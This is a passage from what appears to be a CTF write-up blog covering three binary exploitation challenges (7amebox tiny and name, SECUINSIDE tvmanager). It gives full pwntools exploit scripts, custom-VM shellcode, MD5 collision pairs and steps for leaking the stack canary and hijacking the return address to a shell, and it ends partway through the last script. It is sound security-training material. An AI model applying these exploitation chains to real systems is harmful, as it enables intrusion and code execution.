Therefore, to allocate all regions except the last page at 0x78000, I structured the payload as follows:

    for i in range(0xfa):
        log.info(f"buying : {hex(i + 1)} / 0xfa")
        buy_dog(s, b"n")

Now dog_count_0x1000 has increased to 0xfa, and the method to increase 0x6 times more using sell_dog_0x304() is as follows:

    for i in range(6):
        log.info(f"selling and buying : {hex(i + 1)} / 0x6")
        sell_dog(s, 0x100000)
        buy_dog(s, b"n")

Finally, when the remaining 0x78000 memory is allocated, dog_count_0x1000 becomes 0x101 and map_0x1303 gets overwritten with 0x78000.

Now the value input to draw the avatar becomes the map information as is, so the payload to fill the entire map with * meaning power up except for @(my location) and the z(boss) is as follows:

    payload = b"@"
    payload += b"*" * 3598
    payload += b"z"
    buy_dog(s, b"y", payload)

Now all that’s left is to sufficiently increase power and fight the boss. The condition to beat the boss is that power must be greater than or equal to 0x2bc, and power up increases power by 0x5, so a minimum 121 times of power ups are needed. Since all positions on the current map are filled with *, we just need to move anywhere we haven’t been before 121 times.

    for i in range(2):
        for j in range(60):
            log.info(f"farming...")
            move(s, b"d")
        move(s, b"s")
    move(s, b"w")
    move(s, b"w")
    move(s, b"w")
    move(s, b"a")

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys

BINARY = "./vm_tiny.py"

bp = {
    'read_of_sell_dog' : 0x341,
    'direction_help' : 0xbf,
}
context.terminal = ['tmux', 'splitw', '-hf']

def set_bp(s, addr):
    s.recv()
    s.sendline(f"b {hex(addr)}".encode())
    sleep(0.1)
    s.sendline(b"c")
    return s.recv()

def buy_dog(s, draw, avatar=""):
    s.sendline(b"2")
    print(s.recvuntil(b">").decode())
    s.sendline(draw)
    if draw == b'y':
        s.sendline(avatar)
    return s.recvuntil(b">")

def sell_dog(s, addr):
    s.sendline(b"3")
    s.recvuntil(b">")
    if type(addr) == bytes:
        s.sendline(addr)
    else:
        s.sendline(p21(addr))
    return s.recvuntil(b">")

def move(s, direction):
    s.sendline(direction)
    return s.recvuntil(b">")

def main():
    if(len(sys.argv) > 1):
        s = remote("localhost", int(sys.argv[1]))
    else:
        s = process(BINARY)
        print(set_bp(s, bp['direction_help']).decode())
    s.recvuntil(b">")

    for i in range(0xfa):
        log.info(f"buying : {hex(i + 1)} / 0xfa")
        buy_dog(s, b"n")

    for i in range(6):
        log.info(f"selling and buying : {hex(i + 1)} / 0x6")
        sell_dog(s, 0x100000)
        buy_dog(s, b"n")

    payload = b"@"
    payload += b"*" * 3598
    payload += b"z"
    buy_dog(s, b"y", payload)

    for i in range(2):
        for j in range(60):
            log.info(f"farming...")
            move(s, b"d")
        move(s, b"s")
    move(s, b"w")
    move(s, b"w")
    move(s, b"w")
    move(s, b"a")
    
    log.info(f"fight!!!")
    s.sendline(b"1")
    print(s.recvuntil(b"}").split(b"\n")[-1])

if __name__=='__main__':
    main()

0x04. Decompile

#define O_MAPPED 0b1000
#define O_READ   0b0100
#define O_WRITE  0b0010
#define O_EXEC   0b0001
char *str_0x6e2 = "====================================================\
                |                PWN ADVENTURE V8.6                |\
                ====================================================\
                |               __                                 |\
                |             _|^ |________                        |\
                |            (____|        |___                    |\
                |                 |________|                       |\
                |                  | |   | |                       |\
                |                                                  |\
                ----------------------------------------------------";
char *str_0xc66 = "====================================================\
                |                  YOU WERE DEAD!                  |\
                ====================================================\
                | HP : 0                                           |\
                |                                                  |\
                |                                                  |\
                |                       ...                        |\
                |                       ___                        |\
                |                      |___|                       |\
                ----------------------------------------------------";
char *str_0x6a5 = "   direction\
                 ________________________________\
                |          W : north             |\
                | A : west             D : east  |\
                |          S : south             |\
                |________________________________|";
char *str_0x9c5 = "-------------------------------------------------\
                * (\x2a)      = power up\
                # (\x23)      = wall\
                @ (\x40)      = you\
                a ~ y         = monster\
                z             = boss monster (flag)\
                -------------------------------------------------";
int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;

int read_0x669(int r0, int r1) {
    syscall(0x3, 0x0, r0, r1);  // read(stdin, r0, r1);
}

void memset_0x61b(int *addr, char value, int len) {
    for(int i=0; i<len; i++)
        *(addr + i) = value;
}

int load_map_0x103() {
    int new_page;   // 0xf5fc5
    int ;           // 0xf5fc8
    int r0;
    
    dog_count_0x1000 = 0;
    memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
    sell_count_0x1306 = 6;
    hp_0x1309 = 0x78;
    power_0x130c = 0x61;
    x_0x130f = 0;
    y_0x1312 = 0;

    r0 = syscall(0x4, new_page, 0x6);       // mmap(new_page, O_READ | O_WRITE); 0x59000
    map_0x1303 = new_page;
    r0 = open("stage.map");
    syscall(0x3, r0, map_0x1303, 0xe10);    // read(fd, map_0x1303, 0xe10);
    return new_page;
}

int hp_check_0x1af() {
    int r0;
    r0 = hp_0x1309;

    if(r0 <= 0) {
        print(str_0xc66);
        r0 = 0;
        goto _0x1e0;
    }
    r0 = 1;
_0x1e0:
    return;
}

void show_map_0x1e6() {
    int r0;

    print_0x6a5(str_0x9c5);
    print_0x6a5("##############################################################");
    r0 = map_0x1303;
    for(int i=0; i<60; i++) {
        write_0x687(1, "#");
        write_0x687(60, r0 + 60 * i);
        write_0x687(1, "#");
    }
    print_0x6a5("##############################################################");
}

void buy_dog_0x25c() {
    int choice;
    int new_page;
    int r0;

    r0 = syscall(0x4, new_page, 0x6);  // new_page = mmap(O_READ | O_WRITE);
    if(r0 == 0)
        goto _0x2e5;

    dog_count_0x1000++;
    dog_avatar_0x1003[dog_count_0x1000] = new_page;
    print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
    read_0x669(choice, 0x3);
    if(choice == 'y') {
        read_0x669(new_page, 0x1000);
        print_0x6a5("you got a new dog!");
        goto _0x2fe;
    }
    print_0x6a5("you got a new dog!");

_0x2e5:
    print_0x6a5("you already have too many dogs!");
_0x2fe:
    return;
}

void sell_dog_0x304() {
    int choice;     // 0xf5fc5
    int new_page;   // 0xf5fc8

    if(sell_count_0x1306 == 0)
        goto _0x373;
    sell_count_0x1306--;
    print_0x6a5("which dog do you want to sell?");
    read_0x669(choice, 0x4);
    if(choice < 0x100000)
        goto _0x373;
    syscall(0x6, choice);   // munmap(choice);
    print_0x6a5("good bye my dog..");
    goto _0x37d;
_0x373:
    print_0x6a5("you can't sell the dog!");
_0x37d:
    return;
}

void move_0x383(char choice) {
    char *new_loc;  // 0xf5fbf
    int map;        // 0xf5fc2
    int choice;     // 0xf5fc5
    char tmp[3];    // 0xf5fc8
    int r0, met, r8, r9;
    char *r5;

    tmp[0] = choice;
    r0 = *map_0x1303;
    map = r0;
    r8 = x_0x130f;
    r9 = y_0x1312;

    r5 = r0 + x_0x130f + y_0x1312 * 60;
    if(*r5 == '@')
        *r5 = ' ';
    if(tmp[0] == 'w')
        y_0x1312 = (y_0x1312 - 1) % 60;
    else if(tmp[0] == 'a')
        x_0x130f = (x_0x130f - 1) % 60;
    else if(tmp[0] == 's')
        y_0x1312 = (y_0x1312 + 1) % 60;
    else
        x_0x130f = (x_0x130f + 1) % 60;

    new_loc = map + x_0x130f + y_0x1312 * 60;
    met = *(new_loc);
    *(new_loc) = '@';
    if(met == ' ')
        goto _0x59f_return;
    else if(met == '*')
        goto _0x505_power_up;
    else if(met == 'z')
        goto _0x534_boss;
    else if(met < 'a' || met > 'z')
        goto _0x59f_return;
    print_0x6a5("you met a monster\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);
    if(hp_0x1309 < 30)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 30;

    if(met > power_0x130c) {
        *(new_loc) = met;
        goto _0x59f_return;
    }
    *(new_loc) = '*';
    goto _0x59f_return;

_0x505_power_up:
    hp_0x1309 += 40;
    power_0x130c += 5;
    print_0x6a5("power up!");
    goto _0x59f_return;
_0x534_boss:
    print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);

    if(hp_0x1309 < 0x7d0)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 0x7d0;
    
    if(power_0x130c < 0x2bc)
        *(new_loc) = met;
    else
        flag_0x5bf();
_0x59f_return:
    return;
}

void flag_0x5bf() {
    char buf[60];
    int r0;
    memset_0x61b(buf, 0, 60);

    r0 = syscall(0x1, 0xe7a);    // open("flag");
    syscall(0x3, r0, buf, 60);   // read(fd, buf, 60);
    print_0x6a5(buf);

    syscall(0x0);                // exit(0);
    return;
}

void main() {
    int choice;
    int ;
    int r0;

    print_0x6a5(str_0x6e2);
    
    load_map_0x103();
    while(hp_check_0x1af() != 0) {
        print_0x6a5("1) show current map\n2) buy a dog\n3) sell a dog\n4) direction help\nw a s d) move to direction\n>");
        choice = 0;
        read_0x669(choice, 0x3);
        if(choice == '1')
            show_map_0x1e6();
        else if(choice == '2')
            buy_dog_0x25c();
        else if(choice == '3')
            sell_dog_0x304();
        else if(choice == '4')
            print_0x6a5(str_0x6a5);
        else if(choice == 'w')
            move_0x383(choice);
        else if(choice == 'a')
            move_0x383(choice);
        else if(choice == 's')
            move_0x383(choice);
        else if(choice == 'd')
            move_0x383(choice);
    }
_0xfd:
    return;
}

Codegate CTF 2019 Quals - 7amebox-name

2024-07-25T00:00:00+00:00

0x00. Introduction

➜  ls -al
total 60
drwxr-xr-x  2 user user  4096 Jul 30 08:49 .
drwxr-x--- 25 user user  4096 Jul 30 08:49 ..
-rw-r--r--  1 user user   533 Jul 17 03:05 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:05 _7amebox_patched.py
-rw-r--r--  1 user user    41 Jul 17 03:05 flag
-rw-r--r--  1 user user   216 Jul 17 03:05 mic_check.firm
-rw-r--r--  1 user user    21 Jul 17 03:05 run.sh
-rwxr-xr-x  1 user user   299 Jul 17 03:05 vm_name.py

The structure is that when vm_name.py is executed via run.sh, it runs mic_check.firm with the emulator implemented in _7amebox_patched.py.

def read_memory_tri(self, addr, count):
    ...
        for i in range(count):
            tri = 0
            tri |= self.memory[addr + i*3]
            tri |= self.memory[addr + i*3 + 1]  << 14
            tri |= self.memory[addr + i*3 + 2]  << 7
            res.append(tri)
    ...

def write_memory_tri(self,addr,data_list, count):
    ...
        for i in range(count):
            self.memory[addr + i*3] =       (data_list[i] & 0b000000000000001111111)
            self.memory[addr + i*3 + 1] =   (data_list[i] & 0b111111100000000000000) >> 14
            self.memory[addr + i*3 + 2] =   (data_list[i] & 0b000000011111110000000) >> 7
    ...

We need to find a vulnerability in the firmware and exploit it in an emulator where one byte is 7 bits and one word is 3 bytes.

0x01. Vulnerability

main:
     0x9:  19 30           push bp
     0xb:  11 3c           mov bp, sp
     0xd:  2f 40 3c 00 00  sub sp, 0x3c
    0x12:  10 5b           mov r5, bp
    0x14:  2e 50 03 00 00  sub r5, 0x3
    0x19:  12 60 45 04 46  mov r6, 0x12345
    0x1e:  08 65           str r6, [r5] ; [r5] = r6
    0x20:  12 00 4d 00 01  mov r0, 0xcd         ; "name>"
    0x25:  7b 50 66 00 00  call pc + 0x66       ; write
    0x2a:  12 10 42 00 00  mov r1, 0x42
    0x2f:  10 5b           mov r5, bp
    0x31:  2e 50 3c 00 00  sub r5, 0x3c
    0x36:  10 05           mov r0, r5
    0x38:  7b 50 23 00 00  call pc + 0x23       ; read
    0x3d:  12 00 53 00 01  mov r0, 0xd3
    0x42:  7b 50 49 00 00  call pc + 0x49       ; strlen
    0x47:  10 5b           mov r5, bp
    0x49:  2e 50 03 00 00  sub r5, 0x3
    0x4e:  00 65           ldr r6, [r5] ; r6 = [r5]
    0x50:  5e 60 45 04 46  cmp r6, 0x12345
    0x55:  73 50 2b 7f 7f  je pc + 0x1fffab ; jne if A == B ; not FLAG_ZF       ; stack_chk_fail
    0x5a:  11 4b           mov sp, bp
    0x5c:  1d 30           pop bp
    0x5e:  1d 50           pop pc

As the firmware name mic_check suggests, the vulnerability is simple. BOF occurs because 0x42 bytes are read at position bp-0x3c.

However, we need to be careful to write the canary value 0x12345 above the SFP.

0x02. Exploit

Since NX is disabled, I wrote the payload by constructing shellcode on the stack.

    payload = b"\x54\x00"                   # xor r0, r0
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x10\x1c"                  # mov r1, sp
    payload += b"\x2e\x10\x0e\x00\x00"      # sub r1, 0xe
    payload += b"\x20\x00"                  # syscall   ; open("flag") ; r0 = 2
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x12\x10\x02\x00\x00"      # mov r1, 2
    payload += b"\x12\x20\x00\x3d\x3e"      # mov r2, 0xf5f00
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; read(2, buf, 40)
    payload += b"\x12\x00\x02\x00\x00"      # mov r0, 2
    payload += b"\x54\x11"                  # xor r1, r1
    payload += b"\x44\x10"                  # inc r1
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; write(1, buf, 40)
    payload += b"\x00\x00\x00\x00"
    payload += b"flag\x00"                  # "flag"
    payload += p21(0x12345)                 # canary
    payload += p21(0x0)                     # sfp
    payload += p21(0xf5f9e)                 # ret

The buf size was tighter than expected, so I had to care about optimization.

0x03. Payload

from pwn import *
from gameboxlib import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = False
BINARY = "7amebox-name"
LIBRARY = ""

gs = f'''
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        if DEBUG:
            gdb.attach(s, gs)

    s.recvuntil(b">")
    
    payload = b"\x54\x00"                   # xor r0, r0
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x10\x1c"                  # mov r1, sp
    payload += b"\x2e\x10\x0e\x00\x00"      # sub r1, 0xe
    payload += b"\x20\x00"                  # syscall   ; open("flag") ; r0 = 2
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x12\x10\x02\x00\x00"      # mov r1, 2
    payload += b"\x12\x20\x00\x3d\x3e"      # mov r2, 0xf5f00
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; read(2, buf, 40)
    payload += b"\x12\x00\x02\x00\x00"      # mov r0, 2
    payload += b"\x54\x11"                  # xor r1, r1
    payload += b"\x44\x10"                  # inc r1
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; write(1, buf, 40)
    payload += b"\x00\x00\x00\x00"
    payload += b"flag\x00"                  # "flag"
    payload += p21(0x12345)  # canary
    payload += p21(0x0)      # sfp
    payload += p21(0xf5f9e)  # ret

    s.sendline(payload)
    
    print(s.recvuntil(b'}'))

if __name__=='__main__':
    main()

SECUINSIDE CTF 2013 - tvmanager

2024-07-23T00:00:00+00:00

0x00. Introduction

[*] '/home/user/tvmanager'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct movie {
    int size;
    int category;
    char *name;
    struct movie *next;
    struct movie *prev;
}

Concept

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  read(0, name, 0x20u);
  name_len = strlen(name);
  md5_1FAE((int)name, name_len, (int)name_md5);
  sprintf(src, "/home/tvmanager/%s", name_md5);
  mkdir(src, 0x1F0u);
  if ( chdir(src) != -1 ) {
    while ( 1 ) {
    load_movies_145F();
      print_list_214E((int)menu_list_409C);
      printf("> ");
      _isoc99_scanf("%d", &choice);
      if ( choice == 1 ) list_1821();
      if ( choice == 2 ) register_18B0();
      if ( choice == 3 ) broadcast_1DA7();
      if ( choice == 4 ) exit(0);
    }
  }
  return -1;
}

The input name is hashed with md5 to create a path, and every time a movie is registered, a file is created under the path with the hash value of movie->name to store the contents.

0x01. Vulnerability

MD5 collision

There are several vulnerabilities and we need to exploit them comprehensively, but the first thing to look at is MD5 collision.

A collision refers to a phenomenon where different input strings produce the same value in hash function, and a pair of such inputs is called a collision pair. An example found through googling is as follows:

# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')

They look roughly similar, but if you look closely, a few bytes are different here and there. As a side note, when a few bytes that differ here and there are \x00 or \xff, it becomes quite troublesome because they get cut off during strcpy() or fread() processes in the binary, so it’s good to find collision pairs that avoid these well.

When we register a movie with collision pairs that have the same hash value as names:

int register_18B0()
{
  ...
  printf("Input title of movie > ");
  read(0, src, 256u);
  ...
    if ( !strcmp(movie_ptr->name, src) )
    {
      puts("[-] Duplicate title");
      return -1;
    }
    ...
      name_ptr = (size_t)malloc(src_len + 1);
      movie_new = (struct movie *)malloc(0x14u);
      movie_new->name = (char *)name_ptr;
      strcpy(movie_new->name, src);
      name_len = strlen(movie_new->name);
      md5_1FAE((int)movie_new->name, name_len, (int)src);
      fd = fopen(src, "wb");
      fwrite(contents, 1u, movie_new->size, fd);
      fclose(fd);
    ...
}

Since the input strings are different, the strcmp(movie_ptr->name, src) check passes, and since the hashed values are the same, the same file is opened at fd = fopen(src, "wb").

This allows us to trigger the next vulnerability.

Stack Overflow & Leak

Let’s assume that the first movie_1 has a size of 0x4, and the second movie_2 has a size of 0x1000.

int broadcast_1DA7()
{
  ...
  char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
  size_t size; // [esp+424h] [ebp-14h]
  void *contents; // [esp+428h] [ebp-10h]
  unsigned int canary; // [esp+42Ch] [ebp-Ch]
  ...
    canary = __readgsdword(0x14u);
    md5_1FAE((int)movie_ptr->name, v1, (int)src);
    fd = fopen(src, "rb");
    if ( size > 0x3ff ) {
      contents = malloc(size + 1);
      fread(contents, 1u, size, fd);
      sock_send_2038(contents, movie_ptr->size);
    }
    else {
      for ( i = 0; ; ++i )
      {
        tmp = fgetc(fd);
        if ( tmp == (char)'\xFF' )
          break;
        stack_buf[i] = tmp;
      }
      sock_send_2038(stack_buf, movie_ptr->size);
    }
  ...
}

Then when we broadcast with movie_1, since size is 0x4, it reads the file contents into stack_buf and copies byte by byte. However, since we created movie_1 and then created movie_2, the file currently has 0x1000 bytes of content written. In the above code, it copies to stack_buf until \xff appears, so we can overwrite not only size and contents after stack_buf, but even the return address.

We can either cause an overflow or leak other values this way. Now let’s assume a situation where movie_1 has a size of 0x3ff and movie_2 has a size of 0x400. If we make the first byte of movie_2’s content \xff, copying ends immediately and we can see the stack memory without changing a single byte.

gef➤  x/4wx $esp+0x24
0xffffd864:     0x5655b6a0      0x5655b210      0x41414141      0x41414141
...
0xffffdc70:     0xf7dde000      0xf7dde000      0xffffdcf8      0x56556438

Looking at the stack values at the point of copying, there are many attractive values written during other operations, and we can leak stack, libc, code, and heap areas with a single leak.

The problem is the canary. While we need a stack leak for this, the vulnerability doesn’t hold if movie_1’s size is greater than 0x3ff, so this method is impossible. Therefore, another vulnerability is required.

Arbitrary Free

int broadcast_1DA7()
{
  ...
  char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
  size_t size; // [esp+424h] [ebp-14h]
  void *contents; // [esp+428h] [ebp-10h]
...
      for ( i = 0; ; ++i )
      {
        tmp = fgetc(fd);
        if ( tmp == (char)'\xFF' )
          break;
        stack_buf[i] = tmp;
      }
    ...
    if ( size > 0x3ff )
      free(contents);
    ...
}

Using the previous stack overflow vulnerability, we can manipulate size and contents.

If the previous leak was performed well, there’s a heap address, so by manipulating size to a value greater than 0x3ff and calculating the offset to manipulate the contents value, we can free() any chunk in the heap. The chunk freed this way goes to a bin and is reused as is when there’s a malloc() request for the same size, so if we look for a place where we can malloc() the length we want:

int register_18B0()
{
  ...
  read(0, src, 256u);
      ...
      name_ptr = (size_t)malloc(src_len + 1);
      movie_new->name = (char *)name_ptr;
      strcpy(movie_new->name, src);
      ...
}

In register(), we can control the size of name_ptr for storing the movie name, and we can also input the content. We’ll use this to leak the canary.

After that, we can use the stack overflow vulnerability again to control eip.

0x02. Exploit

Stack Leak

The first thing to do is stack leak using md5 collision.

    # md5 collision - 79054025255fb1a26e4bc422aef54eb4
    a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
    a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')

    # stack, heap, libc leak
    register(s, a1, 1, 0x3ff, b"A" * 0x3ff)          # index 1
    register(s, a2, 1, 0x400, b"\xff" * 0x400)       # index 2

    l = listen(7777)
    broadcast(s, 1, 0, 1, 7777)
    r = l.recv()

By creating movie_1 as 0x3ff and movie_2 as 0x400, and making movie_2’s content \xff so that not a single byte is copied, we can leak 0x3ff bytes of uncontaminated stack from stack_buf.

Since it sends via socket by specifying IP and port with broadcast instead of just printing the content, I used pwntools’ listen().

[+] Trying to bind to :: on port 7777: Done
[+] Waiting for connections on :::7777: Got connection from ::ffff:172.17.0.2 on port 39690
[*] heap : 0x5655a000
[*] stack : 0xffffdc48
[*] libc : 0xf7c2b000

Arbitrary Free

Now we need to trigger arbitrary free based on the leaked values. Although it’s basically the same vulnerability, since it’s difficult to reuse the collision pair, I used a new collision pair.

    # md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
    b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')

    # free(movie_1)
    register(s, b1, 1, 0x4, b"BBBB")                # index 3
    payload = b"C" * 0x400                          # buf
    payload += p32(0x400)                           # size
    payload += p32(heap + 0x11f8)                   # contents, movie_1
    register(s, b2, 1, len(payload), payload)       # index 4

    broadcast(s, 3, 0, 1, 7777)

As in the above payload, I manipulated size to 0x400 for free and manipulated the contents value to free movie_1. To reallocate this freed chunk:

    # canary leak
    payload = b"DDDD"                   # size
    payload += b"\xff\xff\xff\xff"      # category
    payload += p32(stack + 0xa5)        # name, canary
    payload += p32(heap + 0x16a0)       # next, movie_2
    payload += b"EEE\x00"               # prev
    register(s, payload, 1, 0x4, b"XXXX")           # index 5

I wrote the payload so that name has the same structure as struct movie and executed register.

At this time, I was going to just set the category value to 1(\x01\x00\x00\x00), but since it’s copied to name through strcpy(movie_new->name, src);, the payload after cuts off if there’s \x00 in the middle. If I fill the category value with a dummy value like 0x41414141, an OOB error occurs in list which is executed for the leak.

int list_1821()
{
  ...
  while ( movie_ptr )
  {
    printf("%d )\nTitile : %s\nCategory : %s\n", count + 1, movie_ptr->name, category_list_40B0[movie_ptr->category]);
    movie_ptr = (struct movie *)movie_ptr->next_movie;
    ++count;
  }
  ...
}

So I overwrote it with \xff\xff\xff\xff meaning -1 to solve both constraints at once. In this state, when list is called, since movie_ptr->name points to the canary’s address, canary leak is possible.

[*] canary : 0x72657400

EIP Control

Now that we have all the necessary information, eip control is possible. So I set the return address to a usable address through one_gadget.

Then the final payload is as follows:

    # md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
    c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
    c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')

    # eip control
    register(s, c1, 1, 0x4, b"FFFF")                # index 6
    payload = b"G" * 0x400              # buf
    payload += p32(0)                   # size
    payload += p32(0)                   # contents
    payload += p32(canary)              # canary
    payload += b"H" * 0xc               # dummy
    payload += p32(libc + 0x5fbd5)      # return
    register(s, c2, 1, len(payload), payload)       # index 7

    broadcast(s, 6, 0, 1, 7777)

We need another pair of collision, and by adding the offset of one shot gadget to the leaked libc address and writing it to the return address, we can execute a shell.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os, socket, threading

DEBUG = True
BINARY = "tvmanager"
LIBRARY = "libc-2.23.so"

code_base = 0x56555000
movie_4100 = 0x56559100
src_4120 = 0x56559120
bp = {
    'read_of_main' : code_base + 0x134B,
    'scanf_of_main' : code_base + 0x13F7,
    'load_movies' : code_base + 0x145F,
    'list' : code_base + 0x1821,
    'register' : code_base + 0x18B0,
    'md5_of_register' : code_base + 0x1BB1,
    'strlen_of_register' : code_base + 0x1B17,
    'broadcast' : code_base + 0x1DA7,
    'malloc_of_broadcast' : code_base + 0x1F1F,
    'end_of_broadcast' : code_base + 0x1FAC,
    'sizecheck_of_broadcast' : code_base + 0x1F86,
}
gs = f'''
b *{bp['scanf_of_main']}
b *{bp["end_of_broadcast"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def login(s, name):
    s.recvuntil(b"> ")
    s.send(name)
    return s.recvuntil(b"> ")

def _list(s):
    s.sendline(b"1")
    sleep(0.1)
    return s.recvuntil(b"> ")

def register(s, title, category, size, contents):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.send(title)
    s.recvuntil(b"> ")
    s.sendline(str(category).encode())
    s.recvuntil(b"> ")
    s.send(str(size).encode())
    sleep(0.1)
    s.send(contents)
    return s.recv()

def broadcast(s, index, floor, room, channel):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(f"{floor}-{room}-{channel}".encode())
    return s.recv(timeout=5)

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    login(s, os.urandom(4))
    # md5 collision - 79054025255fb1a26e4bc422aef54eb4
    a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
    a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
    # md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
    b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    # md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
    c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
